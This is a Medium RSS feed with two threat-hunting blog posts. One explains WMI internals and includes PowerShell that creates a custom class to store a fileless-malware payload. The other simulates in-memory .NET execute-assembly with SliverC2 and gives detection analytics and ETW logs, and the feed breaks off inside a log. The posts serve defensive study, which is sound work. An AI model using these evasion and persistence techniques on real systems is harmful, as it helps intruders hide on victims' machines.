<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tho Le on Medium]]></title>
        <description><![CDATA[Stories by Tho Le on Medium]]></description>
        <link>https://medium.com/@tho-le?source=rss-cccf93e8caad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wCkHcK9YycTgGaghUYpCOA.jpeg</url>
            <title>Stories by Tho Le on Medium</title>
            <link>https://medium.com/@tho-le?source=rss-cccf93e8caad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 12:51:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tho-le/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Unmasking the Shadowy Side of WMI Part 1: Foundation]]></title>
            <link>https://tho-le.medium.com/unmasking-the-shadowy-side-of-wmi-part-1-foundation-74919cd071a6?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/74919cd071a6</guid>
            <category><![CDATA[wmi]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[detection]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Mon, 23 Oct 2023 19:20:42 GMT</pubDate>
            <atom:updated>2023-10-23T19:20:42.798Z</atom:updated>
            <content:encoded><![CDATA[<p>Attackers are known for their innovative tactics, often harnessing legitimate tools and services to infiltrate, move laterally, and establish persistence within their target systems. One such tool that has found favor among cybercriminals is Windows Management Instrumentation (WMI).</p><p>Windows Management Instrumentation, or WMI, is a powerful management framework built into every Windows operating system. It was designed to provide system administrators with extensive control and insight into their Windows environments, allowing for remote administration, monitoring, and automation. However, like many tools developed for legitimate purposes, WMI can also be hijacked by malicious actors to wreak havoc under the radar.</p><p>This is a 2-part blog series on Windows Management Instrumentation (WMI) exploitation:</p><ul><li><strong>Part 1 — Foundation</strong>, we will establish a thorough understanding of WMI. we’ll delve into the inner workings of WMI, explaining its core functionalities, and how it has become an integral part of Windows system management. Understanding this foundational knowledge is crucial to grasp the extent of its manipulation by malicious actors in the next part of our series.</li><li><strong>Part 2 — Exploitation</strong>, we will embark on a journey into the underbelly of WMI, exploring how attackers can skillfully manipulate it for reconnaissance, lateral movement, and persistence. As we delve into the world of stealthy exploitation, you’ll gain a deeper understanding of the techniques employed by these nefarious actors, empowering you with the knowledge needed to bolster your organization’s defenses and thwart their malicious intentions.</li></ul><h4><strong>Introduction to WMI</strong></h4><p>Windows Management Instrumentation (WMI) is a fundamental component of Microsoft’s system management framework, serving as the Microsoft implementation of the Web-Based Enterprise Management (WBEM) standard. It plays a pivotal role in providing insights and control over systems, applications, networks, devices, and other managed components in the Windows ecosystem. WMI relies on the Common Information Model (CIM) industry standard to represent and manage these elements effectively. This standardized approach ensures consistency and interoperability, making WMI an indispensable tool for system administrators and IT professionals.</p><p>Applications and scripts can access WMI information and execute operations using WMI in a multitude of programming languages such as PowerShell, C/C++, .NET, VBScript, JSScript etc. One of the notable features of WMI is its ability to be accessed remotely, granting administrators the power to manage systems from a distance. This remote access is facilitated through two protocols: <strong>Distributed Component Object Model (DCOM)</strong> and <strong>Windows Remote Management (WinRM)</strong>.</p><p>For those eager to explore this topic in greater detail, I recommend exploring the <a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/about-wmi">MS learning resources</a> and referring to <a href="https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf">the excellent document by Matt Graeber</a>.</p><h4>WMI Architecture</h4><p>WMI architecture and its components are presented in the figure below. In this session, we will explore each component with examples.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/0*HxTjjBmTtjc8xhAc.png" /><figcaption>WMI Architecture (Source: <a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture">https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture</a>)</figcaption></figure><p><strong>WMI Consumers (AKA management applications)<br></strong>A WMI consumer is a management application or script that interacts with the WMI infrastructure to query, enumerate data, run provider methods, or subscribe to events.<br>A WMI consumer can be written in a variety of programming languages, namely .NET, VBScript, JScript, C/C++, Visual Basic, and PowerShell. There are also some GUI client tools to help the exploration of WMI easier, such as wbemtest.exe (built-in tool) and my togo tool <a href="https://www.ks-soft.net/hostmon.eng/wmi/">wmiexplorer</a> as in the screenshots below. If you are unfamiliar yet with terms in the GUIs (e.g. namespace, class, and instances), they will be explained later in the article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*mNKQq7ar21GSf9CxEypRVw.png" /><figcaption>Wbemtest.exe GUI interface</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIjhUQbBphSuNcSk1VgrZg.png" /><figcaption>WMI GUI interface</figcaption></figure><p><a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql">WMI Query Language (WQL)</a>, which employs a syntax similar to SQL, is used to retrieve WMI Object data. Below are examples from wmiexplorer.exe and PowerShell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7XkVCvwIjgf9NpdCy-IAA.png" /><figcaption>WQL example query via wmiexplorer.exe tool</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*YgUHimkhMt5PZWd66a6YXQ.png" /><figcaption>WQL example query via PowerShell</figcaption></figure><p><strong>WMI Infrastructure</strong></p><p>WMI contains 2 main components: WMI Core and WMI Repository. <br>WMI repository is a central database used by WMI to store configuration and management data about a Windows system. <br>WMI Core (Winmgmt) acts as an intermediary between the providers, management applications, and the WMI repository. When a user issues a request from a management application, WMI core needs to know how the data of the requested object can be populated: (1) Only static data about objects is stored in the WMI repository, such as the classes defined by providers (2) most data are dynamically obtained from the provider upon request.</p><p><strong>WMI Provider and Managed object<br></strong>A managed object is either a logic or physical component such as a process, network adapter, or patch.</p><p>A WMI Provider<strong> </strong>is a COM server with a DLL and <a href="https://learn.microsoft.com/en-us/windows/win32/wmisdk/gloss-m"><em>Managed Object Format (MOF)</em></a> file (most of the time) to populate data about the object that it manages. A Provider defines WMI classes for which the provider returns data and performs operations. (Note: a provider may contain one or many classes). Let’s explore the details of the provider name and DLL to the class “Win32_Process” as in the PowerShell script below</p><pre>$class = Get-CimClass -Class Win32_Process -Namespace &#39;root\cimv2&#39;<br>$class_provider  = $class.CimClassQualifiers[&quot;provider&quot;].Value<br># Get CLSID info<br>$class_provider_COM = Get-CimInstance -Class __Provider -Namespace &#39;root\cimv2&#39; \<br>-Filter &quot;Name=&#39;$($class_provider)&#39;&quot;|select Name, CLSID, CimClass<br># Get COM DLL info<br>$DLL = (Get-ItemProperty -Path \<br>&quot;HKLM:\Software\Classes\CLSID\$($class_provider_COM.CLSID)\InprocServer32&quot;)\<br>|Select-Object -ExpandProperty &#39;(default)&#39;<br># display<br>write-host (&quot;Class: $($class)&quot;)<br>write-host (&quot;Provider: $($class_provider)&quot;)<br>write-host (&quot;Provider&#39;s DLL: $($DLL)&quot;)<br><br>============================================================<br>============================================================<br>### Output<br>Class: ROOT/cimv2:Win32_Process<br>Provider: CIMWin32<br>Provider&#39;s DLL: C:\Windows\system32\wbem\cimwin32.dll</pre><p>A WMI class is defined with properties and methods and is stored in a MOF file. Most MOF files can be found in “<em>C:\Windows\System32\wbem”</em> directory. As can be seen from the figure below, the properties and methods of the Win32_Process class are clearly defined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSPRyzecc-gQYPWAbEl7Ag.png" /><figcaption>Win32_Process class from cimwin32.mof file</figcaption></figure><p>Alternatively, it is also possible to explore class properties and methods via scripts. The PowerShell script below shows the properties and methods of the class “Win32_Process”</p><pre># Get all properties of Win32_Process<br>(Get-CimClass -ClassName Win32_Process).CimClassProperties|format-table<br><br><br>Name                       Value  CimType                              Flags Qualifiers                          ReferenceClassName<br>----                       -----  -------                              ----- ----------                          ------------------<br>Caption                            String      Property, ReadOnly, NullValue {MaxLen, read}                                        <br>Description                        String      Property, ReadOnly, NullValue {read}                                                <br>InstallDate                      DateTime      Property, ReadOnly, NullValue {MappingStrings, read}                                <br>Name                               String      Property, ReadOnly, NullValue {read}                                                <br>Status                             String      Property, ReadOnly, NullValue {MaxLen, read, ValueMap}                              <br>...truncated... <br>CommandLine                        String      Property, ReadOnly, NullValue {read}                                                <br>ExecutablePath                     String      Property, ReadOnly, NullValue {MappingStrings, Privileges, read} <br>...truncated...<br><br># Get all methods of Win32_Process<br>(Get-CimClass -ClassName Win32_Process).CimClassMethods<br><br>Name                    ReturnType Parameters                                                            Qualifiers                                               <br>----                    ---------- ----------                                                            ----------                                               <br>Create                      UInt32 {CommandLine, CurrentDirectory, ProcessStartupInformation, ProcessId} {Constructor, Implemented, MappingStrings, Privileges...}<br>Terminate                   UInt32 {Reason}                                                              {Destructor, Implemented, MappingStrings, Privileges...} <br>GetOwner                    UInt32 {Domain, User}                                                        {Implemented, MappingStrings, ValueMap}                  <br>GetOwnerSid                 UInt32 {Sid}                                                                 {Implemented, MappingStrings, ValueMap}                  <br>SetPriority                 UInt32 {Priority}                                                            {Implemented, MappingStrings, ValueMap}                  <br>AttachDebugger              UInt32 {}                                                                    {Implemented, ValueMap}                                  <br>GetAvailableVirtualSize     UInt32 {AvailableVirtualSize}<br><br># Get details of parameters of a method<br>(Get-CimClass -ClassName Win32_Process).CimClassMethods[&#39;Create&#39;].Parameters<br><br>Name                       CimType Qualifiers                                 ReferenceClassName<br>----                       ------- ----------                                 ------------------<br>CommandLine                 String {ID, In, MappingStrings}                                     <br>CurrentDirectory            String {ID, In, MappingStrings}                                     <br>ProcessStartupInformation Instance {EmbeddedInstance, ID, In, MappingStrings}                   <br>ProcessId                   UInt32 {ID, MappingStrings, Out}<br><br># with parameter info, invoke &quot;create&quot; to spawn a new process (PID 5708 - notepad.exe)<br>Invoke-CimMethod -ClassName Win32_Process -MethodName &quot;Create&quot; -Arguments @{<br>  CommandLine = &#39;notepad.exe&#39;; CurrentDirectory = &quot;C:\windows\system32&quot;<br>}<br><br>ProcessId ReturnValue PSComputerName<br>--------- ----------- --------------<br>     5708           0            </pre><p>A WMI instance is an object of a WMI class. Similar to Object-oriented programming, a WMI class can have 0 or many instances. In the example below, each running process in my test machine is an instance of Win32_Process.</p><pre>Get-CimInstance -ClassName Win32_Process<br><br>ProcessId Name                        HandleCount WorkingSetSize VirtualSize  <br>--------- ----                        ----------- -------------- -----------  <br>0         System Idle Process         0           8192           8192         <br>4         System                      2419        20480          3985408      <br>108       Registry                    0           12701696       155979776    <br>368       smss.exe                    53          245760         2203359711232<br>476       csrss.exe                   496         2367488        2203412324352<br>552       wininit.exe                 162         1437696        2203387641856<br>568       csrss.exe                   441         2519040        2203436158976<br>652       winlogon.exe                274         2904064        2203420504064</pre><p>Alternatively, all information about classes, methods, properties and instances can be easily explored via the neat visualization of WMIexplorer.exe tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIjhUQbBphSuNcSk1VgrZg.png" /><figcaption>Info of “Win32_Process” class and instances</figcaption></figure><p>Namespace<strong> </strong>is a hierarchy starting from root to organize classes as seen in the figure below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*y9bb5ljsm95LPo6V6hiZ6Q.png" /><figcaption>WMI Namespace hierarchy</figcaption></figure><h4>Create Your Own WMI Class</h4><p>In addition to the ‘built-in’ WMI providers and classes, it’s possible to create custom providers and classes. Among these, the creation of custom classes holds particular significance, as it has been exploited by malicious actors for covert purposes. Adversaries have leveraged custom classes to (1) secretly store data (e.g. fileless malware) and (2) execute lateral movement to other systems, highlighting the potential risks associated with this WMI capability. Further exploration of this topic will take place in the upcoming second part of this series.</p><p>The PowerShell script below illustrates the creation of a new class, namely “Win32_Malware” in “Root\cimv2” namespace. The class simply contains one property “payload” to store unlimited string data (e.g. malware configuration, actual malware payload, output from an execution, etc.)</p><pre># Create a new class<br>$newClass = New-Object System.Management.ManagementClass(&quot;root\cimv2&quot;,[string]::Empty,$null)<br>$newClass[&quot;__CLASS&quot;] = &quot;Win32_Malware&quot;<br>$newClass.Qualifiers.Add(&quot;Static&quot;,$true)<br>$newClass.Properties.Add(&quot;Payload&quot;,&quot;This is fileless malware payload, execute upon retrieve&quot;)<br>$newClass.Put() <br>===&gt; output<br>Path          : \\.\root\cimv2:Win32_Malware<br>RelativePath  : Win32_Malware<br>Server        : .<br>NamespacePath : root\cimv2<br>ClassName     : Win32_Malware<br>IsClass       : True<br>IsInstance    : False<br><br># Data retrieval<br>(Get-CimClass -Class Win32_Malware -Namespace &#39;root\cimv2&#39;).CimClassProperties|Select-Object Name,Value<br>===&gt; output<br>Name    Value                                                  <br>----    -----                                                  <br>Payload This is fileless malware payload, execute upon retrieve</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=74919cd071a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploring Execute-Assembly: A Deep Dive into In-Memory Threat Execution]]></title>
            <link>https://detect.fyi/exploring-execute-assembly-a-deep-dive-into-in-memory-threat-execution-60adc61aef8?source=rss-cccf93e8caad------2</link>
            <guid isPermaLink="false">https://medium.com/p/60adc61aef8</guid>
            <category><![CDATA[execute-assembly]]></category>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[dotnet]]></category>
            <dc:creator><![CDATA[Tho Le]]></dc:creator>
            <pubDate>Sat, 02 Sep 2023 20:49:45 GMT</pubDate>
            <atom:updated>2023-09-11T09:13:17.931Z</atom:updated>
            <content:encoded><![CDATA[<p>Advanced adversaries have been seeking stealthiness and evade detections. One of the main tactics is to stay entirely in memory and avoid dropping any files into the file system. In this light, We have been observing the transition from Powershell to <a href="https://learn.microsoft.com/en-us/dotnet/standard/assembly/">.NET assembly</a> execution. In this blog post, we’ll delve into:</p><ul><li>What execute-assembly is</li><li>Why attackers prefer execute-assembly</li><li>How execute-assembly can be simulated</li><li>How threat hunters can detect execute-assembly via loaded .NET environment and Event Tracing for Windows (ETW)</li></ul><h4>What execute-assembly is</h4><p>“<a href="https://thewover.github.io/Introducing-Donut/">Donut — Injecting .NET Assemblies as Shellcode</a>” excellently explains the core concepts of .NET (highly recommended to read).</p><p>For convenience, below is the <strong>text from the Donut introduction</strong> <strong>blog</strong> to provide a fundamental understanding of .NET:</p><blockquote><a href="https://docs.microsoft.com/en-us/dotnet/standard/clr">Common Language Runtime</a>: Like Java, .NET uses a runtime environment (or “virtual machine”) to interpret code at runtime. All .NET Code is compiled from an intermediate language to native code “Just-In-Time” before execution.</blockquote><blockquote><a href="https://docs.microsoft.com/en-us/dotnet/standard/managed-code">Common Intermediate Language</a>: Speaking of an intermediate language, .NET uses CIL (also known as MSIL). All .NET languages (of which there are many) are “assembled” to this intermediate language. CIL is a generic object-oriented assembly language that can be interpreted into machine code for any hardware architecture. As such, the designers of .NET languages do not need to design their compilers around the architectures they will run on. Instead, they merely need to design it to compile to one language: CIL.</blockquote><blockquote><a href="https://docs.microsoft.com/en-us/dotnet/framework/app-domains/assemblies-in-the-common-language-runtime">.NET Assemblies</a>: .NET applications are packaged into .NET Assemblies. They are so called because the code from your language of choice has been “assembled” into CIL but not truly compiled. Assemblies use an extension of the PE format and are represented as either an EXE or a DLL that contains CIL rather than native machine code.</blockquote><blockquote><a href="https://docs.microsoft.com/en-us/dotnet/framework/app-domains/application-domains">Application Domains</a>: Assemblies are run inside of a safe “box” known as an Application Domain. Multiple Assemblies can exist within an AppDomain, and multiple AppDomains can exist within a process. AppDomains are intended to provide the same level of isolation between executing Assemblies as is normally provided for processes. Threads may move between AppDomains and can share objects through marshalling and delegates.</blockquote><p>In a nutshell, a process can contain one or multiple application domains. Each application domain can contain one or multiple .NET assemblies. Hence, execute-assembly would essentially do the following:</p><ul><li>Load .NET environment, namely crl.dll,mscoree.dll, mscoreei.dll, clr.dll, mscorlib.ni.dll, crljit.dll.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vZBwikSrXrjklBpTfKJ5DQ.png" /><figcaption>Loaded .NET DLLs</figcaption></figure><ul><li>Create a new application domain or use an existing one</li><li>Load assembly to the chosen application domain. The figure below shows that SliverC2 uses the existing “DefaultDomain” Application domain to load the SharpUp assembly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gmirusPVoOCuz8RlDSgXxw.png" /><figcaption>SliverC2 in-process execute-assembly to run SharpUp</figcaption></figure><h4>Why Attackers Prefer Execute-Assembly</h4><p>The PowerShell scripting language has been a boon for both administrators and adversaries. Its versatility in managing systems through scripts and its deep integration into Windows environments have made it indispensable for legitimate purposes. However, this same power has been harnessed by malicious actors to achieve their objectives (e.g. <a href="https://howto.thec2matrix.com/c2/empire">Empire</a> C2 and <a href="https://github.com/PowerShellMafia/PowerSploit">PowerSploit</a>). The introduction of <a href="https://www.mandiant.com/resources/blog/greater-visibility">PowerShell modules and script block logging</a> brought a new level of visibility into PowerShell activities and detection capabilities.</p><p>Powershell is essentially a wrapper for .NET, thus it’s a logical progression that adversaries have been shifting towards .NET assemblies. This approach enables attackers to execute malicious code directly within a system’s memory, making it a favored option due to its discreet and evasive characteristics. Moreover, this method leaves behind limited telemetry, further complicating detection efforts.</p><p>Attackers opt for execute-assembly for several reasons:</p><ul><li><strong>Stealthiness</strong>: Since no files are written to disk, there are minimal traces left behind, making it challenging for security tools to detect malicious activities.</li><li><strong>Evasion</strong>: Traditional security measures that rely on file scanning and signatures are less effective against in-memory attacks, allowing attackers to bypass these defenses.</li><li><strong>Adaptability</strong>: Execute-assembly allows attackers to create or quickly modify code and payloads, enabling them to evade signature-based detection methods. For additional reading, I would recommend the blog “<a href="https://www.mandiant.com/resources/blog/bring-your-own-land-novel-red-teaming-technique">Bring Your Own Land (BYOL) — A Novel Red Teaming Technique</a>” by Madiant.</li></ul><h4>How execute-assembly can be simulated</h4><p>Execute-assembly can be run in 3 ways:</p><ol><li>Via sacrificed process: a new process was spawned to load and run an assembly. Upon completion of the assembly execution, the process will be terminated, that’s why the name sacrificed process.</li><li>Via a local process injection</li><li>Via an existing remote process inject<br><a href="https://github.com/TheWover/donut">Dotnut</a> (and its ported variances) is a well-known tool to generate shellcode that enables in-memory execution of .NET assembly. Hence, both methods 2 and 3 can be performed with Dotnut or its ported variances.</li></ol><p>In this blog, I will simulate methods 1 and 2 via <strong>SliverC2</strong>, since method 3 will literally generate similar telemetry regarding .NET assembly execution. The only difference is the process injection technique; as you are free to choose how a Shellcode can be injected. If you are interested in performing execute-assembly manually, there are 2 simple steps: (1) using Dotnut to generate shellcode from your .NET assembly of choice (2) Inject that shellcode — an easy way is to leverage <a href="https://github.com/rasta-mouse/TikiTorch">TikiTorch</a></p><ul><li><strong>Execute-assembly via a sacrificed process</strong></li></ul><p>Initially, an HTTP session was established allowing full remote control of the Windows machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*BV0BspqysLaE_GImGkUlKA.png" /><figcaption>SliverC2 HTTP session</figcaption></figure><p>For this simulation, I downloaded <a href="https://github.com/GhostPack/SharpUp">SharpUP</a> and built a SharpUp.exe file with Microsoft Visual Studio 2022</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*NP4MfhjbmCr9FT_Qa9_f4g.png" /><figcaption>VS 2022 to build ShareUp.exe</figcaption></figure><p>Execute-assembly was run from SliverC2 against the session with default options for simplicity. Sliver will spawn notepad.exe (the default process) and load/run the assembly from notepad.exe. Please note that the parent process or child process can be configured via parameters of execute-assembly command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*9MEsm9Ox6OVPWVnw3Kbpdg.png" /><figcaption>SliverC2 execute-assembly via a sacrificed process</figcaption></figure><p>On the victim machine, we can see that the SliverC2 implant spawned notepad.exe as a child process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*o39QZY8lgx43aSPa6DEBOw.png" /><figcaption>Execute-assemble spawn a sacrificed process</figcaption></figure><p>As expected, .NET-related DLLs are loaded to prepare the environment to execute the assembly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_s-UMzPbEtIJPbcl6R7gGg.png" /><figcaption>.NET-related DLLs are loaded</figcaption></figure><p>SliveC2 created a random appdomain to load the assembly. It is notable that SharpUp is not backed by a file on disk, which is a strong indicator of in-memory .NET assembly execution. (This will be shown later in ETW logs)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KmN_YKWbdOtoWBjL83YEGw.png" /><figcaption>New AppDomain was created to load SharpUP</figcaption></figure><p>We can also observe the short lifespan of the sacrificed process, <strong>which can be used for detection or hunting potential malicious execute-assembly</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*y2yztk09I64jvdwRVrEMkQ.png" /><figcaption>Short lifespan of the sacrificed process with CLR loaded</figcaption></figure><ul><li><strong>Execute-assembly v</strong>ia a local process injection</li></ul><p>Similarly, in-process execute-assembly can be run with “-i” option via Sliver</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*RGdgKRKiVvqHBKcpHLgdlA.png" /><figcaption>Sliver In-process execute-assembly</figcaption></figure><p>As the SharpUp assembly was run within the local process, there is no child process spawned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*X8xjWg676iPnVRz_dkknDA.png" /><figcaption>SharpUp assembly was run within the local process</figcaption></figure><p>Similarly, we can see SharpUp assembly was loaded and executed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lInjhlUkUyXh7Gk4eEnFyw.png" /><figcaption>SharpUp assembly was loaded to the “DefaultDomain” applicaction domain</figcaption></figure><p>Notably, we can observe the time difference between the process started time and the .NET-related DLL loaded time. Obviously, this is an assumption that the adversaries do not execute-assembly right after having a session, which is quite plausible. In my testing example, the CLR.dll loaded time (09:46:09) is 6 hours later than the process started time (03:00).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0CQ0puGf7RxRC0js8Y67bA.png" /><figcaption>Difference between process started time and CLR loaded time</figcaption></figure><h4>How threat hunters can detect execute-assembly</h4><p>Below are some leads for detection and hunting of execute-assembly</p><ul><li><strong>Hypothesis 1: attackers run execute-assembly via a sacrificed process and the sacrificed process is not a .NET executable.</strong><br><strong><em>Analytic 1.1</em></strong>: Abnormal process loads CLR DLLs — Considering that CLR DLLs are typically loaded exclusively for .NET processes, it becomes an anomalous scenario when a process loads CLR but is not a .NET program.<br><strong><em>Analytic 1.2</em></strong>: short lifespan process that has CLR DLLs loaded — Given that many .NET assembly executions can be completed within a matter of seconds to a few minutes, this characteristic can be leveraged for the hunting of potentially malicious execute-assembly.</li><li><strong>Hypothesis 2: attackers run execute-assembly Via a local process injection and the local process is not a .NET executable.</strong><br><strong><em>Analytic 2.1</em></strong>: Abnormal process loads CLR DLLs — Considering that CLR DLLs are typically loaded exclusively for .NET processes, it becomes an anomalous scenario when a process loads CLR but is not a .NET program. (Same as Analytic 1.1)<br><strong><em>Analytic 2.2</em></strong>: Difference between process started time and CLR loaded time — Since attackers might not execute-assembly immediately after compromise, a considerable time gap exists between the process start time and the loading of the CLR module</li></ul><p><strong><em>Note: Attackers can bypass above detection/hunting by choosing a .NET process to run execute-assembly. Hence, our last hope is </em></strong><a href="https://bmcder.com/blog/a-begginers-all-inclusive-guide-to-etw"><strong><em>Event Tracing for Windows (ETW)</em></strong></a><strong><em> which records a huge number of different events during execution of a .NET process.</em></strong></p><ul><li><strong>Hypothesis 3: Attackers may run malicious .NET assembly in memory<br>(More generic than the other 2 hypotheses)<br>Analytic 3.1: </strong>Abnormal .NET assembly is loaded <strong><br>Analytic 3.2: </strong>Suspicious functions/methods are invoked. A good reference can be found in <a href="https://gist.githubusercontent.com/countercept/7765ba05ad00255bcf6a4a26d7647f6e/raw/660df2d330d1bc9c3db2b0794a5f174f1e206493/dotnet-runtime-etw.py">countercept’s work</a></li></ul><blockquote>TLTR:<br>I typically don’t emphasize the use of ETW (Event Tracing for Windows) for detection and hunting, as I haven’t encountered many companies that centrally collect ETW events, at least within my network. However, some advanced EDRs do leverage ETW. In support of analytics 3.1 and 3.2, this blog demonstrates how ETW can be utilized to detect execute-assembly.</blockquote><blockquote>For demonstration purposes, I use <a href="https://github.com/BishopFox/sliver">SliverC2</a>&#39;s execute-assembly to run S<a href="https://github.com/GhostPack/SharpUp/tree/master/SharpUp">harpUp</a> and <a href="https://github.com/mandiant/SilkETW">SilkETW</a> to consump ETW events.</blockquote><blockquote><strong>From the infected Windows machine</strong>: Prior to running execute-assembly, logman (a Windows built-in tool) shows that the SliverC2 process doesn’t subscribe to any Dotnet provider.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*Ev-UADj-btc52tcIr8Fddg.png" /><figcaption>Logman — No Dotnet provider subscription by SliverC2 process</figcaption></figure><blockquote><strong>From the attackers’ own system: </strong>the command below was executed to run the Sharup assembly in memory.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*P7zApDe7UKI-phND-QVq3A.png" /><figcaption>SliverC2 — Execute-assembly to run Sharpup</figcaption></figure><blockquote><strong>From the infected Windows machine:</strong> the same logman command was re-run and we started to observe Dotnet providers</blockquote><blockquote>.NET Common Language Runtime (AKA. Microsoft-Windows-DotNETRuntime)— {E13C0D23-CCBC-4E12–931B-D9CC2EEE27E4}<br>Microsoft-Windows-DotNETRuntimeRundown — {A669021C-C450–4609-A035–5AF59AF4DF18}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*tPVqGmZ0_seGB7cPkgvFIA.png" /><figcaption>Logman — Dotnet provider subscription by SliverC2 process</figcaption></figure><blockquote>Given that we know the SliverC2 process subscribes to two Dotnet providers, Microsoft-Windows-DotNETRuntime, and Microsoft-Windows-DotNETRuntimeRundown when it runs execute-assembly, I utilized SilkETW to log all events from the SliverC2 process without keyword filtering for those 2 providers. The figure below illustrates that within a split second, the SliverC2 process generated 5228 events in the Microsoft-Windows-DotNETRuntime provider after executing the execute-assembly command, while there were no events in the Microsoft-Windows-DotNETRuntimeRundown provider.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*xJZOyvHoWsawkrZjPcANBg.png" /><figcaption>SILKETW — DotNETRuntime and DotNETRuntimeRundown ETW of SliverC2 process</figcaption></figure><blockquote>Below is one interesting event, namely ModuleLoad. It contains details of the loaded assembly, including useful inforamtion as we saw earlier from Proccess Hacker tool. Some useful fields for detection/hutiing are: ManagedPdbBuildPath, ModuleNativePath, NativePdbBuildPath, ModuleILPath. Details can be found in the sample logs below.</blockquote><pre>### few logs from 5228 events to illustrate the power of ETW<br>### For example, &quot;EventName&quot;:&quot;Loader/ModuleLoad&quot; shows that SharpUP is not backed by a file path<br><br>{&quot;ProviderGuid&quot;:&quot;e13c0d23-ccbc-4e12-931b-d9cc2eee27e4&quot;,&quot;YaraMatch&quot;:[],&quot;ProviderName&quot;:&quot;Microsoft-Windows-DotNETRuntime&quot;,&quot;EventName&quot;:&quot;Loader/ModuleLoad&quot;,&quot;Opcode&quot;:33,&quot;OpcodeName&quot;:&quot;ModuleLoad&quot;,&quot;TimeStamp&quot;:&quot;2023-08-26T09:26:16.3051806-07:00&quot;,&quot;ThreadID&quot;:5000,&quot;ProcessID&quot;:4816,<br>&quot;ProcessName&quot;:&quot;MANY_PAPER&quot;,&quot;PointerSize&quot;:8,&quot;EventDataLength&quot;:522,&quot;XmlEventData&quot;:{&quot;ModuleID&quot;:&quot;140,713,306,624,000&quot;,&quot;ManagedPdbSignature&quot;:&quot;8293ea7a-5383-4181-9f26-986f5676ae0d&quot;,&quot;Reserved1&quot;:&quot;0&quot;,&quot;ManagedPdbBuildPath&quot;:&quot;mscorlib.pdb&quot;,&quot;ModuleNativePath&quot;:&quot;C:\\Windows\\assembly\<br>\NativeImages_v4.0.30319_64\\mscorlib\\97c421700557a331a31041b81ac3b698\\mscorlib.ni.dll&quot;,&quot;NativePdbBuildPath&quot;:&quot;mscorlib.ni.pdb&quot;,&quot;FormattedMessage&quot;:&quot;ModuleID=140,713,306,624,000;\r\nAssemblyID=1,760,535,574,336;\r\nModuleFlags=DomainNeutral|Native|Manifest|0x10;\r\nModu<br>leILPath=0;\r\nModuleNativePath=C:\\Windows\\Microsoft.Net\\assembly\\GAC_64\\mscorlib\\v4.0_4.0.0.0__b77a5c561934e089\\mscorlib.dll;\r\nClrInstanceID=C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\97c421700557a331a31041b81ac3b698\\mscorlib.ni.dll;\r\nMana<br>gedPdbSignature=12;\r\nManagedPdbAge=8293ea7a-5383-4181-9f26-986f5676ae0d;\r\nManagedPdbBuildPath=2;\r\nNativePdbSignature=mscorlib.pdb;\r\nNativePdbAge=97c42170-0557-a331-a310-41b81ac3b698;\r\nNativePdbBuildPath=1 